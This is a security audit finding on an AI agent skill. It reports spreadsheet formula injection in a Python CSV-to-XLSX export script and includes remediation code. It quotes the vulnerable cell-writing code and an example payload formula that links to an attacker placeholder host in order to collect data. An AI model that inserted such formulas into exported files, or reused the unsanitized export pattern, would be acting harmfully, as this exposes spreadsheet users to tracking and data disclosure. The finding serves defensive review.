T09 · Insecure Skill Coding Practices
- Location
generate_excel.py:41- Finding
Spreadsheet Formula Injection Through Untrusted News Content
- Content
View full analysis
Vulnerability Details
File Location:
generate_excel.py:41-51
Related Input Instructions:skill.md:38-41,47-55
Vulnerability Type: Spreadsheet formula injection
Risk Level: MediumVulnerable Code
python with open(csv_filepath, "r", encoding="utf-8-sig") as f: reader = csv.reader(f) headers = next(reader) for col_idx, header in enumerate(headers, 1): cell = ws.cell(row=1, column=col_idx, value=header) cell.font = Font(bold=True) cell.alignment = Alignment(horizontal='center') for row_idx, row in enumerate(reader, 2): for col_idx, value in enumerate(row, 1): ws.cell(row=row_idx, column=col_idx, value=value)The Skill directs the agent to preserve information extracted from user-supplied webpages and export it as CSV or XLSX data. No validation or neutralization is applied before those values are assigned to spreadsheet cells.
Technical Analysis
Spreadsheet applications interpret values beginning with characters such as
=,+,-, or@as formulas in relevant contexts. In particular,openpyxlinterprets a string beginning with=as a formula when it is assigned directly to a cell.An attacker controlling a source webpage can place a formula payload in a news title, date, or summary. The extraction workflow may preserve that value in the intermediate CSV. The helper script then copies the value directly into an XLSX cell without forcing the cell type to text.
A representative malicious source value could be:
text =HYPERLINK("https://attacker.example/collect","News item")The precise effects depend on the spreadsheet client and its security configuration. Modern spreadsheet software may warn users or restrict dangerous functionality, but external-resource formulas can still create disclosure or tracking risks.
Attack Path
- An attacker publishes or modifies a webpage containing a n ...[truncated 1312 chars]
- Remediation
View remediation
Remediation Suggestions
- Treat every extracted date, headline, summary, and CSV field as untrusted input.
- Neutralize cells beginning with
=,+,-, or@by prefixing them with an apostrophe before CSV or XLSX export. - Explicitly force imported values to be stored as text rather than allowing
openpyxlto infer formulas. - Apply the same sanitization to headers and data rows.
- Add regression tests for all recognized formula prefixes, including leading whitespace and control characters.
- Document that generated CSV files must not contain active formulas.
Example hardening logic:
python DANGEROUS_PREFIXES = ("=", "+", "-", "@") def sanitize_spreadsheet_value(value): if not isinstance(value, str): return value candidate = value.lstrip() if candidate.startswith(DANGEROUS_PREFIXES): return "'" + value return value for row_idx, row in enumerate(reader, 2): for col_idx, value in enumerate(row, 1): cell = ws.cell( row=row_idx, column=col_idx, value=sanitize_spreadsheet_value(value), ) cell.data_type = "s"
